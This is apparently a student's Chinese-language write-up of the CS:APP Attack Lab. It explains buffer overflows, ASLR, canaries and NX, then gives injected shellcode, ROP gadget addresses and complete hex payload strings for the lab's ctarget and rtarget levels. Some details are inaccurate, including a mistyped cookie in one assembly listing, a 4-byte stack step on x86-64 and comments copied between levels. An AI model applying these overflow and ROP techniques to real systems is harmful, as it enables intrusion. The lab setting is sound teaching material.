cs:app attacklab 记录
代码在此
常见的攻击方式
缓存区溢出
由于C不对数组边界进行检查,当在栈上为数组分配空间时,如果写入的数据超过了数组空间,就会覆盖栈中存储的状态信息。通常使用字符串缓存区溢出来实现。
char *gets(char* s) {
int c;
char *dest = s;
// 没有对边界进行检查
while ((c = getchar()) != '\n' && c != EOF)
*dest++ = c;
if (c == EOF && dest == s)
return NULL;
*dest++ = '\0';
return s;
}
生成的汇编代码如下
echo:
subq $24, %rsp
movq %rsp, %rdi
call gets
movq %rsp, %rdi
call puts
addq $24, %rsp
ret
根据汇编代码可以看出,函数分配了24字节的栈空间,因此如果写入的字符串超过了24个字符,那么栈中的返回地址就会被覆盖;如果超过了32字节(24+8),那么调用者中保存的状态也会被覆盖。(栈中保存的数据格式参考这里)
攻击形式
可以在溢出的字符串中包含指向特定可执行代码的指针,用来覆盖返回地址,那么就可以在函数结束后跳转到指定的函数执行。
对抗方法
栈随机化
由于需要在插入的字符串中包含指向代码的指针,那么我们可以让程序在每次运行时候地址随机化,每次都在不同的栈地址运行。实现的方法是在程序开始时在栈上随机分配0~n字节的空间,范围n要足够大,保证足够多的栈地址变化,但是又要足够小,不至于浪费太多的地址空间。
在Linux中栈随机化被标准化并扩充为ASLR(地址空间布局随机化)。
但是攻击者可以在实际的攻击代码之前加上足够多的nop指令,这样PC指向那么多的nop指令中的任意一个,都可以“滑”到实际的攻击代码。这种操作叫做"nop sled"(空操作雪橇)。
栈破坏检测
“栈保护者”机制可以检测缓存区越界,思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的“金丝雀”值,这个值是在每次运行时随机产生的,在恢复寄存器和从函数返回之前,程序检查这个值是否被改变了,如果是则程序会异常终止。
可以在gcc中指定-fno-stack-protector阻止生成栈保护代码
限制可执行代码区域
由于内存在逻辑上以页的形式划分,因此我们可以只指定编译器生成的代码所在内存页为可执行区域,而其他页没有可执行权限,从而禁止跳转代码执行。但是在有些类型的程序中,要求动态产生和执行代码,例如JIT(just-in-time)即时编译技术,所以是否限制,取决于语言和操作系统
attacklab
注意在运行 ctarget 的时候要带上 -q
参数,禁止上传成绩,否则程序会检测运行环境,只能在指定的教学机上运行
ctarget
level 1
使用缓存区溢出使得getbuf返回时调用touch1函数
当函数 P 调用函数 Q 的时候(call指令),%rsp-=4,然后将 P 中调用函数 Q 的下一个指令地址作为返回地址放到%rsp所指的位置。
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
根据汇编代码分析,getbuf 会调用 Gets 函数,getbuf 开辟的栈空间是 40 字节,输入得到的字符串从栈顶位置开始存储。因此我们可以输入一个长度为 40 的任意字符串,并在字符串之后附上 touch1 的函数地址,从而覆盖 getbuf 的返回地址。注意在 ubuntu 上,是小端模式。
touch1 的函数地址是 0x4017c0,因此我们跟在字符串的值应该是 c0174000,由于有些值不能对应于可见的 ascii 字符,因此 lab 提供了 hex2raw 可以转换成 ascii 字符串
level 2
使用缓存区溢出使得 getbuf 返回时调用 touch2 函数,touch2 函数需要传入一个参数,该参数必须与 cookie 值相同
touch2 函数的逻辑
void touch2(unsigned val)
{
vlevel = 2; /*Part of validation protocol*/
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
由于 touch2 是通过 %rdi 来获取 val 值,我们不能简单覆盖掉 getbuf 的返回地址就结束,而是插入一小段代码,设置 %rdi 寄存器的值为 cookie 值,当前的 cookie 值是 0x59b997fa。
因此我们输入的字符串首先要能覆盖掉 getbuf 的返回地址,但是该返回地址应该是我们插入的代码的起始地址,然后会继续执行我们自己的代码。由于规定不能使用 jmp 和 call 指令,只能使用 ret 指令,我们需要想办法在执行完自己的代码之后让 pc 跳到 touch2 函数。
ret 会将栈顶的值,即 %rsp 指向的值作为函数返回地址,因此我们需要在自己的代码中存放touch2 的地址,并通过代码设置 %rsp 指向存放地址的位置。
栈覆盖之后的结构如图所示
因此我们的自定义“攻击代码”如下
mov $0x59b997a, %rdi; 设置rdi寄存器为cookie值
sub $0x10, %rsp; 由于在弹出getbuf返回地址后,%rsp指向返回地址的上一个地址,因此要移动rsp指向touch2函数地址,从而让后续的ret能够弹出touch2函数地址
ret
经过 gcc 翻译成机器码为
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 48 83 ec 10 sub $0x10,%rsp
b: c3 retq
代码总长为 12 字节,加上 touch2 函数地址 8 字节,总共是 20(0x14)字节。
在刚进入 getbuf 函数时,通过 gdb 得到 %rsp 为 0x5561dca0,即存放 getbuf 函数的返回地址的位置是 0x5561dca0,那么我们的代码区起始地址应该是 0x5561dca0-0x14=0x5561dc8c,则为了跳转到代码区,getbuf 返回地址应该设置为 0x5561dc8c。注意 ubuntu 为小端系统,且返回地址为 8 字节。
因此整个字符串为
20 个任意字符 + “48 c7 c7 fa 97 b9 59 48 83 ec 10 c3 ” + “ec 17 40 00 00 00 00 00” + “8c dc 61 55 00 00 00 00”
整个执行流程为:
- getbuf 函数写入字符串,将原本的返回地址覆盖,变成 0x5561dc8c
- getbuf 函数返回,%rsp=0x5561dca0,执行 ret 指令,%rip=0x5561dc8c,%rsp += 8,等于 0x5561dca8
- 执行自定义的指令,设置 %rdi 寄存器,并将 %rsp-0x10=0x5561dc98,执行 ret指令,弹出 touch2 函数地址,跳转到 touch2 函数
此种方法只适用于关闭栈随机化的情况,如果开启栈随机化,每次 %rsp 的值是不确定的,我们就无法得知代码区的实际位置,也就无法向 getbuf 返回地址处写入代码区的地址。
level 3
使用缓存区溢出覆盖 getbuf 的返回地址,使其返回时调用 touch3,touch3 函数需要传入一个字符串参数
根据文档的说明,touch3 会调用 hexmatch,而 hexmatch 会在内部的 buffer 中随机选择起始位置生成测试字符串
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char* sval)
{
char cbuf[110];
/*Make position of check string unpredictable*/
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
和 phase 2 一样的布局,嵌入代码设置 %rdi 为字符串的地址
mov addr, %rdi; 设置rdi寄存器为cookie值
sub $0x10, %rsp; 由于在弹出getbuf返回地址后,%rsp指向返回地址的上一个地址,因此要移动rsp指向touch2函数地址,从而让后续的ret能够弹出touch2函数地址
ret
注意由于 touch3 会调用 hexmatch,而这两个函数均会移动 %rsp 指针,因此如果按照 phase 2 的做法将字符串紧挨代码区放置,因为 hexmatch 会 %rsp-0x80,而移动后栈中的数据就会被覆盖,我们的字符串内容也会被覆盖,因此我们需要从getbuf返回地址向上追加字符串。
所以 addr = getbuf 返回地址+8 = 0x5561dca0 + 8 = 0x5561dca8。字符串构成为
20 个任意字符+ 代码区 + touch3 函数地址 + 代码区起始地址 + cookie 对应的字符串
rtarget
rtarget 和 ctarget 的区别是 rtarget 采用了栈随机化,并且禁止了在栈上执行代码,因此我们需要利用 rop 技术(return-oriented programming)绕过这两个限制,就是利用原程序现有的代码,组合成我们想要执行的程序。
rop 技术在栈中填充了多个代码片段的地址,每个代码片段被称为gadget。这些片段的特点是都以0xc3(ret指令)结尾,这样我们就可以依次执行gadget1、gadget2 … gadget n这些片段。
rtarget 的任务就是利用 rop 技术实现 ctarget 中的 level 2 和 level 3 功能,即执行 touch 2 和 target 3
level 2
为了实现跳转到 touch2 并传参,我们需要和 ctarget 一样,覆盖原本的返回地址为 gadget 1 地址,然后设置 %rdi 寄存器为 cookie 值。由于 farm 中没有提供直接将立即数赋给寄存器的指令,因此我们需要在栈中先写入 cookie 值,然后使用 pop 指令弹出。
所以整个栈的结构是
gadget 1 指令为 popq %rax
, 将 cookie 值弹出放入到寄存器 %rax 中,然后 gadget 2 指令为 mov %rax %rdi
。
根据文档附录给的指令表格,在 rtarget 反汇编中搜索相关指令,找到 gadget 1 指令地址为 0x4019ab,gadget 2 指令地址为 0x4019a2。
因此字符串的组成为
40个任意字符 + “ab 19 40 00 00 00 00 00 " + “fa 97 b9 59 00 00 00 00” + “a2 19 40 00 00 00 00 00” + “ec 17 40 00 00 00 00 00”
level 3
level 3 在文档中属于附属得分,和 level 2 一样,只不过 cookie 值换成字符串的首地址。
由于 farm 里只给了 movq、movl、popq 部分指令的形式,没有 pushq 相关指令,因此我们只能在栈中先设置好 cookie 值和 touch3 函数地址的位置,然后想办法将 %rdi 指向 cookie 值所在的位置。
根据 ctarget 的 level 3 可知,cookie 值必须在 touch 3 函数地址的上方,这样才不会被覆盖。但是这样做很难将 %rdi 指向 cookie 值所在位置,绕不过 touch 3 函数地址。
而在 farm 原本的程序中,我们发现有一条完整的 lea 指令,即 %rax = %rdi + %rsi
,因此我们可以借助这条指令最终将 %rdi 赋值为 base + offset 的形式,指向 cookie 所在位置
根据 farm 提供的 gadget,整个栈的结构如图所示
在执行 movq %rsp %rax 指令时,%rsp 指向的位置就是 base address,因此 offset 为 72,最后根据栈的指令设置相应字符串即可。